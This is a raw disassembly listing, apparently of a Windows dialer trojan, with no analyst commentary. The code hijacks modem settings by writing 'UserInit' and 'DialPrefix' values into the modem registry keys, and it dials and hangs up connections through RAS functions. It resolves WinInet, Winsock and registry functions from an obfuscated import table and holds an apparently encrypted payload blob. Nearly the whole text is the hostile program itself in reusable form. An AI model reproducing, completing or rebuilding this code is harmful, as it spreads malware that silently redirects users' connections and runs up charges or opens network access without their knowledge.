sub_60024DA	proc near		; CODE XREF: start+1B5p start+311p

var_84		= byte ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

; FUNCTION CHUNK AT 06002482 SIZE 00000058 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	esi
		push	edi
		pushf
		cld
		lea	edi, [ebp+var_84]
		mov	esi, [ebp+arg_8]
		mov	ecx, 80h

loc_60024F5:				; CODE XREF: sub_60024DA:loc_60024D8j
					; sub_60024DA+33j ...
		lodsb
		cmp	al, 0
		jz	short loc_6002524
		cmp	al, 78h
		jnz	short loc_6002511
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_6002226
		pop	ecx
		test	eax, eax
		jz	short loc_60024F5
		mov	al, 50h

loc_6002511:				; CODE XREF: sub_60024DA+22j
		cmp	al, 69h
		jz	loc_6002491
		cmp	al, 64h
		jz	loc_6002491
		stosb
		loop	loc_60024F5

loc_6002524:				; CODE XREF: sub_60024DA+1Ej
		xor	al, al
		stosb
		popf
		pop	edi
		pop	esi
		lea	eax, [ebp+var_84]
		cmp	byte ptr [eax],	73h
		jnz	short loc_600253F
		inc	eax
		push	eax
		push	0
		call	sub_60029B0
		pop	eax

loc_600253F:				; CODE XREF: sub_60024DA+59j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_600256F
		lea	ebx, [ebp+var_84]
		cmp	byte ptr [ebx],	73h
		jnz	short loc_6002565
		push	eax
		push	1
		call	sub_60029B0
		pop	eax

loc_6002565:				; CODE XREF: sub_60024DA+80j
		add	esp, 88h
		pop	ebp
		retn	14h
sub_60024DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_600256F	proc near		; CODE XREF: sub_60024DA+72p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	dword ptr ds:60031E8h, 0
		jz	short loc_60025F0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_600231F
		test	eax, eax
		jz	short loc_60025F0
		push	101h
		push	[ebp+arg_0]
		push	6003210h
		call	sub_6001BAE
		cmp	byte ptr ds:6003210h, 0
		jz	short loc_60025B7
		push	offset byte_60026F5
		push	6003210h
		call	sub_6001C69

loc_60025B7:				; CODE XREF: sub_600256F+37j
		mov	ebx, [ebp+arg_0]
		add	ebx, 105h
		push	ebx
		push	dword ptr [ebx]
		call	dword ptr ds:60031E8h
		pop	ebx
		mov	ecx, 64h

loc_60025CF:				; CODE XREF: sub_600256F+7Dj
		push	ecx
		push	ebx
		push	64h		; dwMilliseconds
		call	ds:Sleep	; Sleep
		pop	ebx
		push	ebx
		push	[ebp+arg_0]
		push	dword ptr [ebx]
		call	dword ptr ds:60031CCh
		test	eax, eax
		jnz	short loc_60025EE
		pop	ebx
		pop	ecx
		loop	loc_60025CF

loc_60025EE:				; CODE XREF: sub_600256F+79j
		pop	ebx
		pop	ecx

loc_60025F0:				; CODE XREF: sub_600256F+Dj
					; sub_600256F+1Cj
		cmp	dword ptr ds:60031D8h, 0
		jz	short loc_6002674
		cmp	[ebp+arg_4], 7D0h
		jl	short loc_6002674
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		sub	eax, 6E8h
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		lea	edx, [ebp+var_4]
		mov	ebx, [ebp+arg_0]
		mov	dword ptr [ebx], 98h
		push	edx
		push	eax
		push	ebx
		call	dword ptr ds:60031D8h
		test	eax, eax
		jnz	short loc_6002674
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_0]
		add	ebx, [ebp+var_8]
		mov	[ebp+var_C], ebx
		mov	ebx, [ebp+arg_4]
		sub	ebx, [ebp+var_8]
		mov	[ebp+var_10], ebx
		mov	ebx, [ebp+arg_0]

loc_6002648:				; CODE XREF: sub_600256F+103j
		push	ecx
		push	ebx
		lea	eax, [ebx+4]
		lea	edx, [ebx+15h]
		push	edx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+var_10]
		push	[ebp+var_C]
		call	sub_6002681
		test	eax, eax
		jnz	short loc_6002678
		pop	ebx
		add	ebx, 98h
		pop	ecx
		loop	loc_6002648

loc_6002674:				; CODE XREF: sub_600256F+88j
					; sub_600256F+91j ...
		xor	eax, eax
		jmp	short loc_600267A
; ---------------------------------------------------------------------------

loc_6002678:				; CODE XREF: sub_600256F+F9j
		pop	ecx
		pop	ecx

loc_600267A:				; CODE XREF: sub_600256F+107j
		add	esp, 14h
		pop	ebp
		retn	14h
sub_600256F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_6002681	proc near		; CODE XREF: sub_600256F+F2p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	byte ptr ds:6003210h, 0
		jnz	short loc_6002705
		cmp	dword ptr ds:60031DCh, 0
		jz	short loc_60026F8
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	[eax], edx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 108h
		lea	ebx, [ebp+var_8]
		push	ebx
		push	eax
		push	edx
		push	0
		push	0
		call	dword ptr ds:60031DCh
		test	eax, eax
		jnz	short loc_60026F8
		cmp	[ebp+var_8], 0
		jz	short loc_60026F8
		mov	ebx, [ebp+arg_0]
		add	ebx, 4
		push	ebx
		push	6003210h
		call	sub_6001BED
		cmp	byte ptr ds:6003210h, 0
		jz	short loc_60026F8
		push	offset byte_60026F5
		push	6003210h
		call	sub_6001C69
		jmp	short loc_6002705
; ---------------------------------------------------------------------------
byte_60026F5	db 20h,	31h, 0		; DATA XREF: sub_600256F+39o
					; sub_6002681+63o
; ---------------------------------------------------------------------------

loc_60026F8:				; CODE XREF: sub_6002681+16j
					; sub_6002681+41j ...
		push	[ebp+arg_8]
		push	6003210h
		call	sub_6001BED

loc_6002705:				; CODE XREF: sub_6002681+Dj
					; sub_6002681+72j
		cmp	dword ptr ds:60031E0h, 0
		jz	loc_60028D5
		cmp	dword ptr ds:60031CCh, 0
		jz	loc_60028D5
		cmp	dword ptr ds:60031D4h, 0
		jz	loc_60028D5
		cmp	dword ptr ds:60031D0h, 0
		jz	loc_60028D5
		cmp	[ebp+arg_4], 6E8h
		jl	loc_60028D5
		push	offset aModem	; "modem"
		push	[ebp+arg_14]
		call	sub_6001CD1
		test	eax, eax
		jnz	loc_60028D5
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		mov	ecx, 6E8h
		xor	eax, eax
		rep stosb
		pop	edi
		mov	dword ptr [ebx], 6E8h
		mov	dword ptr [ebx+4], 130h
		mov	dword ptr [ebx+0B8h], 4
		mov	dword ptr [ebx+0BCh], 1
		push	ebx
		add	ebx, 1Bh
		push	[ebp+arg_8]
		push	ebx
		call	sub_6001BED
		pop	ebx
		push	ebx
		add	ebx, 3CCh
		push	[ebp+arg_14]
		push	ebx
		call	sub_6001BED
		pop	ebx
		push	ebx
		add	ebx, 3DDh
		push	[ebp+arg_18]
		push	ebx
		call	sub_6001BED
		pop	ebx
		push	0
		push	0
		push	dword ptr [ebx]
		push	ebx
		push	6003210h
		push	0
		call	dword ptr ds:60031D0h
		test	eax, eax
		jnz	loc_60028D5
		mov	ebx, [ebp+arg_0]
		mov	dword ptr [ebx], 41Ch
		add	ebx, 4
		push	ebx
		push	6003210h
		push	ebx
		call	sub_6001BED
		pop	ebx
		add	ebx, 101h
		push	ebx
		push	[ebp+arg_8]
		push	ebx
		call	sub_6001BED
		pop	ebx
		add	ebx, 81h
		mov	dword ptr [ebx], 0
		add	ebx, 81h
		push	ebx
		push	[ebp+arg_C]
		push	ebx
		call	sub_6001BED
		pop	ebx
		add	ebx, 101h
		push	ebx
		push	[ebp+arg_10]
		push	ebx
		call	sub_6001BED
		pop	ebx
		add	ebx, 101h
		mov	dword ptr [ebx], 0
		lea	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		push	0
		push	0
		call	dword ptr ds:60031E0h
		test	eax, eax
		jnz	short loc_60028C5
		mov	eax, [ebp+var_4]
		mov	ds:6003340h, eax
		mov	ecx, 320h

loc_6002871:				; CODE XREF: sub_6002681+229j
		mov	[ebp+var_10], ecx
		mov	ebx, [ebp+arg_0]
		add	ebx, 41Ch
		mov	[ebp+var_C], ebx
		mov	dword ptr [ebx], 0A0h
		push	ebx
		push	[ebp+var_4]
		call	dword ptr ds:60031CCh
		test	eax, eax
		jnz	short loc_60028C5
		mov	ebx, [ebp+var_C]
		cmp	word ptr [ebx+4], 2000h
		jz	short loc_60028AE
		push	64h		; dwMilliseconds
		call	ds:Sleep	; Sleep
		mov	ecx, [ebp+var_10]
		loop	loc_6002871
		jmp	short loc_60028C5
; ---------------------------------------------------------------------------

loc_60028AE:				; CODE XREF: sub_6002681+21Cj
		push	6003210h
		push	0
		call	dword ptr ds:60031D4h
		mov	eax, 1
		jmp	short loc_60028D7
; ---------------------------------------------------------------------------

loc_60028C5:				; CODE XREF: sub_6002681+1E1j
					; sub_6002681+211j ...
		push	6003210h
		push	0
		call	dword ptr ds:60031D4h

loc_60028D5:				; CODE XREF: sub_6002681+8Bj
					; sub_6002681+98j ...
		xor	eax, eax

loc_60028D7:				; CODE XREF: sub_6002681+242j
		add	esp, 14h
		pop	ebp
		retn	1Ch
sub_6002681	endp

; ---------------------------------------------------------------------------
		cmp	dword ptr [esp+8], 4
		jz	short loc_60028E8
		retn	0Ch
; ---------------------------------------------------------------------------

loc_60028E8:				; CODE XREF: .code:060028E3j
		push	offset byte_6002ABE
		call	sub_6002B9A
		retn	0Ch
; ---------------------------------------------------------------------------
aModem		db 'modem',0            ; DATA XREF: sub_600231F+DEo
					; sub_6002681+C5o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_60028FB	proc near		; CODE XREF: sub_60029B0+3Cp
					; sub_60029B0+50p ...

var_84		= byte ptr -84h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr ds:60031F4h
		test	eax, eax
		jnz	loc_60029A6
		mov	[ebp+var_8], 0

loc_6002923:				; CODE XREF: sub_60028FB+5Dj
					; sub_60028FB+A0j
		lea	eax, [ebp+var_84]
		push	78h
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword ptr ds:6003204h
		test	eax, eax
		jnz	short loc_600299D
		inc	[ebp+var_8]
		lea	eax, [ebp+var_84]
		lea	ebx, [ebp+var_C]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	dword ptr ds:60031F4h
		test	eax, eax
		jnz	short loc_6002923
		cmp	[ebp+arg_8], 1
		jz	short loc_6002984
		push	0Bh
		push	6003344h
		push	1
		push	0
		push	offset aUserinit ; "UserInit"
		push	[ebp+var_C]
		call	dword ptr ds:60031F8h
		jmp	short loc_6002992
; ---------------------------------------------------------------------------

loc_6002984:				; CODE XREF: sub_60028FB+63j
		push	offset aUserinit ; "UserInit"
		push	[ebp+var_C]
		call	dword ptr ds:6003208h

loc_6002992:				; CODE XREF: sub_60028FB+87j
		push	[ebp+var_C]
		call	dword ptr ds:60031FCh
		jmp	short loc_6002923
; ---------------------------------------------------------------------------

loc_600299D:				; CODE XREF: sub_60028FB+42j
		push	[ebp+var_4]
		call	dword ptr ds:60031FCh

loc_60029A6:				; CODE XREF: sub_60028FB+1Bj
		add	esp, 88h
		pop	ebp
		retn	0Ch
sub_60028FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_60029B0	proc near		; CODE XREF: sub_60024DA+5Fp
					; sub_60024DA+85p

arg_0		= dword	ptr  4

		cmp	dword ptr ds:60031F4h, 0
		jz	short locret_6002A2D
		cmp	dword ptr ds:60031FCh, 0
		jz	short locret_6002A2D
		cmp	dword ptr ds:6003204h, 0
		jz	short locret_6002A2D
		cmp	dword ptr ds:60031F8h, 0
		jz	short locret_6002A2D
		cmp	dword ptr ds:6003208h, 0
		jz	short locret_6002A2D
		mov	eax, [esp+arg_0]
		push	eax
		push	offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\Class"...
		push	80000001h
		call	sub_60028FB
		mov	eax, [esp+arg_0]
		push	eax
		push	offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\Class"...
		push	80000002h
		call	sub_60028FB
		mov	eax, [esp+arg_0]
		push	eax
		push	offset aSystemCurren_0 ; "System\\CurrentControlSet\\Control\\Class\\"...
		push	80000001h
		call	sub_60028FB
		mov	eax, [esp+arg_0]
		push	eax
		push	offset aSystemCurren_0 ; "System\\CurrentControlSet\\Control\\Class\\"...
		push	80000002h
		call	sub_60028FB

locret_6002A2D:				; CODE XREF: sub_60029B0+7j
					; sub_60029B0+10j ...
		retn	4
sub_60029B0	endp

; ---------------------------------------------------------------------------
aSystemCurrentc	db 'System\CurrentControlSet\Services\Class\Modem',0
					; DATA XREF: sub_60029B0+32o
					; sub_60029B0+46o ...
aSystemCurren_0	db 'System\CurrentControlSet\Control\Class\{4D36E96D-E325-11CE-BFC1-0'
					; DATA XREF: sub_60029B0+5Ao
					; sub_60029B0+6Eo ...
		db '8002BE10318}',0
aSettings	db 'Settings',0         ; DATA XREF: sub_6002ACC+63o
aUserinit	db 'UserInit',0         ; DATA XREF: sub_60028FB+79o
					; sub_60028FB:loc_6002984o
byte_6002ABE	db 0			; DATA XREF: .code:loc_60028E8o
aDialprefix	db 'DialPrefix',0       ; DATA XREF: sub_6002ACC+96o
		db ',',0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_6002ACC	proc near		; CODE XREF: sub_6002B9A+57p
					; sub_6002B9A+69p ...

var_84		= byte ptr -84h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr ds:60031F4h
		test	eax, eax
		jnz	loc_6002B90
		mov	[ebp+var_8], 0

loc_6002AF4:				; CODE XREF: sub_6002ACC+5Dj
					; sub_6002ACC+7Ej ...
		lea	eax, [ebp+var_84]
		push	6Eh
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword ptr ds:6003204h
		test	eax, eax
		jnz	short loc_6002B87
		inc	[ebp+var_8]
		lea	eax, [ebp+var_84]
		lea	ebx, [ebp+var_C]
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	dword ptr ds:60031F4h
		test	eax, eax
		jnz	short loc_6002AF4
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aSettings ; "Settings"
		push	[ebp+var_C]
		call	dword ptr ds:60031F4h
		test	eax, eax
		jz	short loc_6002B4C
		push	[ebp+var_C]
		call	dword ptr ds:60031FCh
		jmp	short loc_6002AF4
; ---------------------------------------------------------------------------

loc_6002B4C:				; CODE XREF: sub_6002ACC+73j
		push	[ebp+arg_8]
		call	sub_6001C23
		push	eax
		push	[ebp+arg_8]
		push	1
		push	0
		push	offset aDialprefix ; "DialPrefix"
		push	[ebp+var_10]
		call	dword ptr ds:60031F8h
		push	[ebp+var_10]
		call	dword ptr ds:60031FCh
		push	[ebp+var_C]
		call	dword ptr ds:60031FCh
		jmp	loc_6002AF4
; ---------------------------------------------------------------------------

loc_6002B87:				; CODE XREF: sub_6002ACC+42j
		push	[ebp+var_4]
		call	dword ptr ds:60031FCh

loc_6002B90:				; CODE XREF: sub_6002ACC+1Bj
		add	esp, 88h
		pop	ebp
		retn	0Ch
sub_6002ACC	endp


; =============== S U B	R O U T	I N E =======================================



sub_6002B9A	proc near		; CODE XREF: .code:060028EDp

var_78		= byte ptr -78h
var_77		= byte ptr -77h
arg_0		= dword	ptr  4

		cmp	dword ptr ds:60031F4h, 0
		jz	locret_6002C2F
		cmp	dword ptr ds:60031FCh, 0
		jz	short locret_6002C2F
		cmp	dword ptr ds:6003204h, 0
		jz	short locret_6002C2F
		cmp	dword ptr ds:60031F8h, 0
		jz	short locret_6002C2F
		cmp	dword ptr ds:6003208h, 0
		jz	short locret_6002C2F
		sub	esp, 78h
		mov	[esp+78h+var_78], 44h
		mov	[esp+78h+var_77], 0
		mov	ebx, [esp+78h+arg_0]
		mov	eax, esp
		push	ebx
		push	eax
		call	sub_6001C69
		mov	eax, esp
		push	eax
		push	offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\Class"...
		push	80000001h
		call	sub_6002ACC
		mov	eax, esp
		push	eax
		push	offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\Class"...
		push	80000002h
		call	sub_6002ACC
		mov	eax, esp
		push	eax
		push	offset aSystemCurren_0 ; "System\\CurrentControlSet\\Control\\Class\\"...
		push	80000001h
		call	sub_6002ACC
		mov	eax, esp
		push	eax
		push	offset aSystemCurren_0 ; "System\\CurrentControlSet\\Control\\Class\\"...
		push	80000002h
		call	sub_6002ACC
		add	esp, 78h

locret_6002C2F:				; CODE XREF: sub_6002B9A+7j
					; sub_6002B9A+14j ...
		retn	4
sub_6002B9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_6002C32	proc near		; CODE XREF: sub_600183B+48p
					; sub_60018DF+Cp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4

		sub	esp, 10h
		push	esp		; lpSystemTime
		call	ds:GetSystemTime	; GetSystemTime
		sub	[esp+10h+var_10], 7B4h
		jl	loc_6002CD0
		xor	edx, edx
		xor	eax, eax
		mov	ax, [esp+10h+var_10]
		mov	ebx, 4
		div	ebx
		test	edx, edx
		jz	short loc_6002C64
		cmp	[esp+10h+var_E], 1
		jle	short loc_6002C64
		inc	eax

loc_6002C64:				; CODE XREF: sub_6002C32+27j
					; sub_6002C32+2Fj
		mov	ecx, eax
		xor	eax, eax
		mov	ax, [esp+10h+var_10]
		mov	ebx, 16Dh
		mul	ebx
		add	eax, ecx
		cmp	[esp+10h+var_E], 0Ch
		jg	short loc_6002CD0
		xor	ebx, ebx
		mov	bx, [esp+10h+var_E]
		add	ebx, offset byte_6002CD3
		xor	ecx, ecx
		mov	cx, [ebx-2]
		add	eax, ecx
		mov	cx, [esp+10h+var_A]
		add	eax, ecx
		mov	ebx, 18h
		mul	ebx
		mov	cx, [esp+10h+var_8]
		add	eax, ecx
		mov	ebx, 3Ch
		mul	ebx
		mov	cx, [esp+10h+var_6]
		add	eax, ecx
		mul	ebx
		mov	cx, [esp+10h+var_4]
		add	eax, ecx
		xor	ebx, ebx
		mov	bx, [esp+10h+var_E]
		xor	ecx, ecx
		mov	cx, [esp+10h+var_A]
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------

loc_6002CD0:				; CODE XREF: sub_6002C32+10j
					; sub_6002C32+49j
		xor	eax, eax
		retn
sub_6002C32	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
byte_6002CD3	db 0			; DATA XREF: sub_6002C32+52o
		dd 3B001F00h, 78005A00h, 0B5009700h, 0F300D400h, 30011100h
; ---------------------------------------------------------------------------
		add	[esi+1], ecx

; =============== S U B	R O U T	I N E =======================================



sub_6002CEB	proc near		; CODE XREF: start+10p
		mov	esi, offset LibFileName	; "œ1"

loc_6002CF0:				; CODE XREF: sub_6002CEB+23j
		lodsd
		test	eax, eax
		jz	short locret_6002D29
		mov	ebp, eax
		push	esi		; lpLibFileName
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	edi, eax

loc_6002D00:				; CODE XREF: sub_6002CEB+27j
					; sub_6002CEB:loc_6002D27j
		xor	ecx, ecx
		dec	ecx
		xor	eax, eax
		xchg	esi, edi
		repne scasb
		xchg	esi, edi
		lodsd
		test	eax, eax
		jz	short loc_6002CF0
		test	edi, edi
		jz	short loc_6002D00
		push	eax
		push	esi		; lpProcName
		push	edi		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		pop	ebx
		mov	[ebx], eax
		test	eax, eax
		jnz	short loc_6002D27
		mov	[ebp+0], eax

loc_6002D27:				; CODE XREF: sub_6002CEB+37j
		jmp	short loc_6002D00
; ---------------------------------------------------------------------------

locret_6002D29:				; CODE XREF: sub_6002CEB+8j
		retn
sub_6002CEB	endp

; ---------------------------------------------------------------------------
; char LibFileName[]
LibFileName	db 'œ1',0               ; DATA XREF: sub_6002CEBo
		db 6, 57h, 49h
		dd 454E494Eh, 6C642E54h, 319C006Ch, 6E490600h, 6E726574h
		dd 704F7465h, 416E65h, 60031A0h, 65746E49h, 74656E72h
		dd 736F6C43h, 6E614865h, 656C64h, 60031A4h, 65746E49h
		dd 74656E72h, 64616552h, 656C6946h, 31A800h, 746E4906h
		dd 656E7265h, 65704F74h, 6C72556Eh, 41h, 31AC0000h, 53570600h
		dd 32335F32h, 6C6C642Eh, 31AC00h, 41535706h, 72617453h
		dd 707574h, 60031B0h, 6B636F73h, 0B4007465h, 63060031h
		dd 656E6E6Fh, 0B8007463h, 73060031h, 646E65h, 60031BCh
		dd 76636572h, 31C000h, 6F6C6306h, 6F736573h, 74656B63h
		dd 31C400h, 656E6906h, 64615F74h, 7264h, 0CC000000h, 52060031h
		dd 50415341h, 2E323349h, 6C6C64h, 60031CCh, 47736152h
		dd 6F437465h, 63656E6Eh, 61745374h, 41737574h, 31E400h
		dd 73615206h, 6D756E45h, 6E6E6F43h, 69746365h, 41736E6Fh
		dd 31E800h, 73615206h, 676E6148h, 417055h, 60031E0h, 44736152h
		dd 416C6169h, 31DC00h, 73615206h, 6D756E45h, 72746E45h
		dd 41736569h, 31D800h, 73615206h, 6D756E45h, 69766544h
		dd 41736563h, 31D400h, 73615206h, 656C6544h, 6E456574h
		dd 41797274h, 31D000h, 73615206h, 45746553h, 7972746Eh
		dd 706F7250h, 69747265h, 417365h, 60031F0h, 43736152h
		dd 656E6E6Fh, 6F697463h, 746F4E6Eh, 63696669h, 6F697461h
		dd 416Eh, 0C8000000h, 54060031h, 33495041h, 6C642E32h
		dd 31C8006Ch, 696C0600h, 6547656Eh, 61725474h, 616C736Eh
		dd 61436574h, 417370h, 0
		dd 60031F4h, 41564441h,	32334950h, 6C6C642Eh, 31F400h
		dd 67655206h, 6E65704Fh, 4179654Bh, 31F800h, 67655206h
		dd 56746553h, 65756C61h, 417845h, 60031FCh, 43676552h
		dd 65736F6Ch, 79654Bh, 6003200h, 51676552h, 79726575h
		dd 756C6156h, 41784565h, 320400h, 67655206h, 6D756E45h
		dd 4179654Bh, 320800h, 67655206h, 656C6544h, 61566574h
		dd 4165756Ch, 320C00h, 67655206h, 61657243h, 654B6574h
		dd 4179h, 1Ch dup(0)
_code		ends

;
; Imports from KERNEL32.dll
;
; Section 2. (virtual address 00003000)
; Virtual size			: 00000364 (	868.)
; Section size in file		: 00000400 (   1024.)
; Offset to raw	data for section: 00002200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Externs
; _idata
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn LoadLibraryA:dword ; CODE	XREF: sub_6002CEB+Dp
					; DATA XREF: sub_6002CEB+Dr
; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
		extrn GetProcAddress:dword ; CODE XREF:	sub_6002CEB+2Cp
					; DATA XREF: sub_6002CEB+2Cr
; BOOL __stdcall VirtualLock(LPVOID lpAddress,SIZE_T dwSize)
		extrn VirtualLock:dword	; CODE XREF: start+Ap
					; DATA XREF: start+Ar
; DWORD	__stdcall GetTempPathA(DWORD nBufferLength,LPSTR lpBuffer)
		extrn GetTempPathA:dword ; CODE	XREF: sub_6001D0B+Fp
					; DATA XREF: sub_6001D0B+Fr
; UINT __stdcall GetWindowsDirectoryA(LPSTR lpBuffer,UINT uSize)
		extrn GetWindowsDirectoryA:dword ; CODE	XREF: sub_6001D0B+1Cp
					; DATA XREF: sub_6001D0B+1Cr
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress,SIZE_T	dwSize,DWORD flAllocationType,DWORD flProtect)
		extrn VirtualAlloc:dword ; CODE	XREF: sub_6001D3D+Fp
					; DATA XREF: sub_6001D3D+Fr
; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
		extrn DeleteFileA:dword	; CODE XREF: start+259p
					; DATA XREF: start+259r
; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCSTR lpName)
		extrn CreateMutexA:dword ; CODE	XREF: start+24p
					; DATA XREF: start+24r
; DWORD	__stdcall GetLastError()
		extrn GetLastError:dword ; CODE	XREF: start+2Ap
					; DATA XREF: start+2Ar
; void __stdcall ExitProcess(UINT uExitCode)
		extrn ExitProcess:dword	; CODE XREF: start+39p	start+4Fp ...
; BOOL __stdcall WriteFile(HANDLE hFile,LPCVOID	lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped)
		extrn WriteFile:dword	; CODE XREF: sub_6001D55+37p
					; DATA XREF: sub_6001D55+37r
; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName,LPSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation)
		extrn CreateProcessA:dword ; CODE XREF:	sub_6001DEB+7Dp
					; DATA XREF: sub_6001DEB+7Dr
; DWORD	__stdcall WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds)
		extrn WaitForSingleObject:dword	; CODE XREF: sub_60015F4+4Ep
					; sub_6001DEB+95p
					; DATA XREF: ...
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn Sleep:dword	; CODE XREF: start+1E8p start+57Ap ...
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
		extrn CreateFileA:dword	; CODE XREF: sub_6001D55+17p
					; sub_6001D55+62p
					; DATA XREF: ...
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn CloseHandle:dword	; CODE XREF: sub_60015F4+37p
					; sub_60015F4+57p ...
; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime)
		extrn GetSystemTime:dword ; CODE XREF: sub_6002C32+4p
					; DATA XREF: sub_6002C32+4r
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes,BOOL bManualReset,BOOL bInitialState,LPCSTR lpName)
		extrn CreateEventA:dword ; CODE	XREF: sub_60015F4+14p
					; DATA XREF: sub_60015F4+14r


; Section 3. (virtual address 00004000)
; Virtual size			: 00000FA4 (   4004.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00002600
; Flags	C0000080: Bss Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
_ddt		segment	para public 'BSS' use32
		assume cs:_ddt
		;org 6004000h
		assume es:nothing, ss:nothing, ds:_code, fs:nothing, gs:nothing
dword_6004000	dd 41414141h, 19ED716Eh, 46D17F8Bh, 0F11DAB35h,	3D41DE62h
					; DATA XREF: start:loc_6001068o
		dd 6EF50AACh, 96204AD9h, 0A85FCA0Eh, 6FFC45D6h,	0BAC450E2h
		dd 0AC32832Eh, 10BCCA56h, 5CE87481h, 8071A3CEh,	3C42EF73h
		dd 648F1CA7h, 0DC3044D2h, 873BAB41h, 37A16F1Ch,	0E8E95ABFh
		dd 0F649D267h, 7DE8DD70h, 16B45CC6h, 0C577A484h, 8810B52Ah
		dd 38DB47EAh, 0BA6F1CB4h, 0CF20D544h, 45F7734Ch, 788137CBh
		dd 0B045F613h, 3F52D027h, 6DE70095h, 9B3BB5DEh,	0DB59E00Ch
		dd 2EC272F7h, 0E48948B6h, 0DF458D6Fh, 2491F323h, 701E1ABDh
		dd 881FAE03h, 0D873E74Fh, 55C12E9Ch, 903C0294h,	0DE6BF602h
		dd 994224Eh, 0B7C066F3h, 0E30A9A2Fh, 28BDC352h,	3D8D40AFh
		dd 9972DBA8h, 355FEB75h, 7DC155BEh, 0AA3543EFh,	0D5618F19h
		dd 8A55E46h, 4CD165F2h,	0FD049138h, 7AC1DA6Fh, 7A254CEh
